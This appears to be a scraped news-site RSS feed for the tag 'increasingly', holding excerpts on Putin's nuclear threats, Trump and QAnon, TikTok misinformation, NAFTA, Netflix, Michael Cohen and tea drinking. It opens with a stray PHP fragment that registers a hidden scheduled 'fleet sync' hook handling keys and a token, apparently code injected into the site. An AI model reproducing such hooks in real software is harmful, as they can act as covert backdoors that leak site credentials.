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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); increasingly – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 22 Sep 2022 02:22:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png increasingly – Brief News https://briefnews.eu 32 32 Putin’s nuclear threats indicate the president is increasingly aware of how limited his military options are in Ukraine, Russia expert speculates https://briefnews.eu/putins-nuclear-threats-indicate-the-president-is-increasingly-aware-of-how-limited-his-military-options-are-in-ukraine-russia-expert-speculates/ https://briefnews.eu/putins-nuclear-threats-indicate-the-president-is-increasingly-aware-of-how-limited-his-military-options-are-in-ukraine-russia-expert-speculates/#respond Thu, 22 Sep 2022 02:22:21 +0000 https://briefnews.eu/putins-nuclear-threats-indicate-the-president-is-increasingly-aware-of-how-limited-his-military-options-are-in-ukraine-russia-expert-speculates/ Russian President Vladimir Putin.
Russian President Vladimir Putin.

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    • Vladimir Putin on Wednesday escalated his war in Ukraine with a direct threat of nuclear warfare.
    • But experts say the threat indicates that Putin is running out of military options.
    • Putin is increasingly "aware of how limited his actual military options are," one expert said.

Vladimir Putin on Wednesday threatened to use nuclear weapons in a brazen escalation of his war in Ukraine.

But the Russian president's audacious warning is less a show of legitimate strength, and more a sign that Russia's military is faltering, according to experts.

On Wednesday, more than seven months into the war, Putin announced a partial military mobilization in an effort to address Russia's manpower problem amid a spate of recent Ukrainian victories. During his televised speech, the president also baselessly accused the West of threatening to use nuclear weapons and responded with an acknowledgment of Russia's own nuclear arsenal. 

"To those who allow themselves to make such statements about Russia, I would like to remind you that our country also has various means of destruction, and for some components more modern than those of the NATO countries," he said.

"And if the territorial integrity of our country is threatened, we will certainly use all the means at our disposal to protect Russia and our people. This is not a bluff."

Putin's nuclear threats are a scare tactic aimed at Ukraine's allies.

Amid mounting military losses, deteriorating troop morale, and shifting public sentiment, it makes sense why Putin would turn to his warheads, said Simon Miles, an assistant professor at Duke University's Sanford School of Public Policy and a historian of the Soviet Union and US-Soviet relations.

"The poor performance of Russia's military on the battlefield in Ukraine has been an important reminder that any claim to great power status Russia may have is predicated almost entirely on its arsenal of nuclear weapons," Miles said.

Putin's message, Miles posited, is also directed at Ukraine's global supporters. 

"Putin has tried and failed many a time to break the resolve of Ukraine's supporters, and his latest threats are no different," Miles said. "It is clear that he is growing more and more aware of how limited his actual military options are in this war."

Ukraine earlier this month amassed one of its biggest victories yet, launching two concurrent offensives in the northeast and south in an effective effort to reclaim occupied territory. Reports from the front lines indicated that Russian troops fled as the country's military buckled under Ukraine's powerful performance.

"The Russians are dispirited, disorganized, and unmotivated, just trying to stay alive," Robert English, a professor at the University of Southern California who studies Russia, the Soviet Union, and Eastern Europe, told Insider. "The Ukrainian fighting spirit and the American arms industry have teamed up to thwart [Putin's] plans in a big way."

Russian prospects remain grim, especially given the West's ongoing military support to Ukraine. The country's most recent offensive, while executed by Ukrainian forces, was made possible thanks to US and UK intelligence, strategy, and weapons.

"As long as the west is supplying more and better weapons — and we are supplying more and better weapons — the pressure on Russian forces is only going to grow," English said.

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A Russian nuclear missile rolls along Red Square during the military parade marking the 75th anniversary of Nazi defeat, on June 24, 2020 in Moscow, Russia.

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Experts think it unlikely that Putin will act on his threat.

Putin's threat of "civilization-extinguishing capabilities," as Miles put it, doesn't mean the US or any other Ukrainian ally should turn and run. 

"It is one thing to make threats — it is another to actually put these weapons to use in a way which serves the Kremlin's goal," Miles said.

A Russian demonstration of a nuclear weapon would be unlikely to break the West's will, he said, and could even bolster it further. Meanwhile, using a weapon in Ukraine itself would have devastating consequences for Ukrainian troops — but Russian soldiers fighting in the country would pay the price as well. 

Multiple experts previously told Insider that Russia was unlikely to use nuclear weapons, even if it made the threat. Miles added that the logistics alone make the prospect low-risk. 

"Russian nuclear weapons are staged in hardened shelters across the country, including in the far west near Ukraine," he said. "The process of transitioning to readiness, mating warheads to delivery platforms, would generate a great deal of observable phenomena for U.S. intelligence and an opportunity for Washington to make it explicit to the Kremlin just how bad an idea that would be."

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  • Former FBI official Frank Figliuzzi said Trump is drawn to QAnon like a moth to a flame.
  • Figliuzzi said Trump is embracing the movement because he feels "increasingly cornered."
  • Figliuzzi warned that violence could ensue if the QAnon movement felt threats to its leader.

A former FBI official said former President Donald Trump is likely feeling cornered and embracing the QAnon movement out of desperation.

Frank Figliuzzi, a former FBI assistant director, was weighing in on Trump's links to the QAnon movement during a Monday appearance on MSNBC's "Deadline: White House." Host Nicolle Wallace asked Figliuzzi if he thinks Trump knows just how dangerous the movement is to the US.

"Oh, not only do I think he knows it, but I think that's what attracts him to this. It's like a moth to the flame," Figliuzzi said.

"And the thing is, he knows that he's increasingly cornered," Figliuzzi added. "He's in trouble on so many legal fronts, even criminal fronts now, that this is, kind of, the almost last act of a desperate man."

Figliuzzi referenced Trump's rally in Youngstown, Ohio, where a QAnon song played during Trump's speech. During the rally, Trump's supporters were seen pointing their fingers to the sky in a strange, one-finger salute, which experts say might have been a nod to the movement's slogan, "where we go one we go all."

While the stadium in Ohio was not fully filled, and thus a sign that Trump may be losing support from his base, Figliuzzi said there's still a significant threat from Trump and the QAnon movement.

"What is extremely dangerous based on past histories of cults, is that as they come near the end, as the leader is threatened, they get more and more dangerous," Figliuzzi said. "And they do something cult experts call 'forcing the end.'"

This could happen if the movement's leader "calls for the violence" or is "taken out," Figliuzzi said.

"The members take a step up and force the ending — whatever that could be," Figliuzzi said. "That's what concerns me and we've learned from January 6, it only takes a small number of people to do that."

The Trump rally in Ohio is just one of many recent instances in which the former president appeared to embrace QAnon — a movement that claims without basis that Trump is fighting a deep-state cabal of pedophiles. In a stream of messages after the FBI's raid of Mar-a-Lago, Trump shared over a dozen posts on his Truth Social account, some of which referenced QAnon and contained baseless conspiracy theories about the FBI. Other posts by the former president on the Truth Social platform in September included a reposted image of himself sporting a "Q" lapel pin, along with the movement's "where we go one we go all" slogan.

Figliuzzi and a representative at Trump's post-presidential press office did not immediately respond to Insider's requests for comment.

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  • A new study by a site that tracks online misinformation found that 1 in 5 videos on TikTok contain misinformation.
  • The study found that TikTok often yields more partisan search results than Google.
  • Gen Z users are increasingly turning to TikTok instead of Google as their primary search engine.

TikTok is no longer just a place for viral dances and food hacks. Gen Z users have begun replacing Google with TikTok as their primary search engine, The New York Times recently reported.

That might be a serious predicament.

A new study by NewsGuard, a site that monitors misinformation across the internet, found that one in five search results on TikTok contains misinformation. The study analyzed the top 20 search results across 27 different news topics ranging from "2022 election" to "mRNA vaccine." 

NewsGuard's study found that TikTok also prompted users with biased search terms. For example, if a user searched for "covid vaccine." TikTok would offer suggestions for more biased search terms such as "covid vaccine truths" or "covid vaccine hiv." More than half of the search results that popped up about the 2022 midterm elections contained "hyper-partisan left-leaning rhetoric," the study noted. 

The rampant misinformation on TikTok is particularly significant given the number of home remedy videos circulating on the platform. The ongoing baby formula shortage has led to a nebula of videos promoting DIY baby formula that pediatricians have labeled as "dangerous." 

After the Supreme Court's decision to overturn Roe vs. Wade, herbal remedies for abortion began trending on TikTok. Videos that suggested everything from bitter garnish parsley to mugwort, a flowering plant, were toted as remedies for abortion. Insider reported that a TikTok video that suggests that mugwort can induce a miscarriage had over 1 million views on TikTok. The National Center for Complementary and Integrative Health noted that "very little research has been done on Mugwort in people." 

Meghna T., a senior from suburban Michigan, said that if she's searching for anything health or education related she still uses Google. For "everything else" though she turns to TikTok. 

 

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An apartment building in downtown Washington, D.C., is catering to a new kind of family unit that is becoming more common in the U.S. and Canada in part because of the devastating toll of the opioid crisis: families where the primary caregiver is a grandparent.

]]> https://briefnews.eu/i-wouldnt-trade-it-for-the-world-grandparents-increasingly-becoming-primary-caregivers/feed/ 0 Trump says he rejected a meeting with Canadian Prime Minister Justin Trudeau amid an increasingly hostile NAFTA fight https://briefnews.eu/trump-says-he-rejected-a-meeting-with-canadian-prime-minister-justin-trudeau-amid-an-increasingly-hostile-nafta-fight/ https://briefnews.eu/trump-says-he-rejected-a-meeting-with-canadian-prime-minister-justin-trudeau-amid-an-increasingly-hostile-nafta-fight/#respond Thu, 27 Sep 2018 08:15:39 +0000 http://briefnews.eu/trump-says-he-rejected-a-meeting-with-canadian-prime-minister-justin-trudeau-amid-an-increasingly-hostile-nafta-fight/ donald trump justin trudeau canadaReuters/Carlos Barria

  • President Donald Trump said he rejected an offer to have a bilateral meeting with Canadian Prime Minister Justin Trudeau.
  • During a press conference Wednesday, Trump pointed to Trudeau’s unwillingness to back down in North American Free Trade Agreement talks as why he rejected the meeting.
  • Trump also appeared to take a swipe at Canadian Minister of Foreign Affairs Chrystia Freeland, the country’s chief NAFTA negotiator.
  • The US is threatening to leave Canada out of a revised NAFTA, instead moving forward with a bilateral deal with Mexico.

President Donald Trump turned down a one-on-one meeting with Canadian Prime Minister Justin Trudeau during this week’s United Nations summit due to trade tensions.

Trump claimed he rejected the meeting due to Trudeau’s unwillingness to budge in negotiations over revisions to the North American Free Trade Agreement, known as NAFTA.

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  • Netflix ended its user reviews feature earlier this summer, citing “declining using over time.” 
  • But according to data compiled by Cordcutting.com, Netflix originals had also seen a steady year-over-year decline in user-rating scores, well before the company decided to bring its user reviews to an end. 

 

Netflix announced in July that it would phase out its user reviews feature by mid August, and the company’s stated reasoning, as reported by CNET, was that the feature had seen “declining usage over time.”  

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Myriam Steinberg was 40 and fresh off a breakup when she realized that if she wanted a baby, she’d have to go it alone. It’s an issue some say is becoming more pervasive.

]]> https://briefnews.eu/single-women-increasingly-pursuing-parenthood-on-their-own/feed/ 0 Michael Cohen is digging himself into an increasingly deeper hole as he faces legal headaches on multiple fronts https://briefnews.eu/michael-cohen-is-digging-himself-into-an-increasingly-deeper-hole-as-he-faces-legal-headaches-on-multiple-fronts/ https://briefnews.eu/michael-cohen-is-digging-himself-into-an-increasingly-deeper-hole-as-he-faces-legal-headaches-on-multiple-fronts/#respond Sun, 20 May 2018 17:10:54 +0000 http://briefnews.eu/michael-cohen-is-digging-himself-into-an-increasingly-deeper-hole-as-he-faces-legal-headaches-on-multiple-fronts/ Michael CohenAP Photo/Seth Wenig

  • President Donald Trump’s longtime attorney Michael Cohen is facing legal trouble on multiple fronts.
  • His problems center on possible campaign-finance violations and bank fraud. He also could have additional headaches stemming from payments he received from companies seeking his advising services.
  • Cohen, who is under investigation in the Southern District of New York, has not been charged with a crime.

If the past few weeks are any indication, it appears as if President Donald Trump’s longtime lawyer Michael Cohen is in a heap of trouble.

Cohen is currently under investigation in the Southern District of New York for possible campaign-finance violations and bank fraud. Last month, his home, office, and hotel room were raided by the FBI as, per Department of Justice protocol, a last-resort option to obtain documents that the government felt would be destroyed otherwise.

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]]> https://briefnews.eu/michael-cohen-is-digging-himself-into-an-increasingly-deeper-hole-as-he-faces-legal-headaches-on-multiple-fronts/feed/ 0 New Study Shows Bay Area Residents Increasingly Distrust Tech Companies https://briefnews.eu/new-study-shows-bay-area-residents-increasingly-distrust-tech-companies/ https://briefnews.eu/new-study-shows-bay-area-residents-increasingly-distrust-tech-companies/#respond Tue, 13 Feb 2018 19:09:03 +0000 http://briefnews.eu/new-study-shows-bay-area-residents-increasingly-distrust-tech-companies/ A new survey shows that California residents—and the Bay Area specifically—has had it up to here with Big Tech.


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For the latest research shows that 39 per cent of tea drinkers have now succeeded in quitting spooning the white stuff into their favourite brew.

This is up from 33per cent three years ago.

Trade magazine The Grocer said that a survey of 2,0000 consumers found that, for all the talk of herbal infusions and delicate flower teas, most Brits actually still prefer a good honest cuppa with nothing fancy.

But the study also revealed a big increase in the number of health-conscious drinkers who have ditched taking sugar in their favourite pick-me-up hot drink.

The Grocer said: “Most of us still prefer a good, honest cuppa with nothing fancy.

“But that does not necessarily mean we are all happy to sup on a cup of builder’s with so much sugar you can stand a spoon up in it.

“The same poll that revealed the majority’s no-frills attitude to tea also found that the number quitting taking sugar in their tea is on the rise.

“In 2014, 33per cent of consumers told us they had quit the white stuff – this year it was 39 per cent. “

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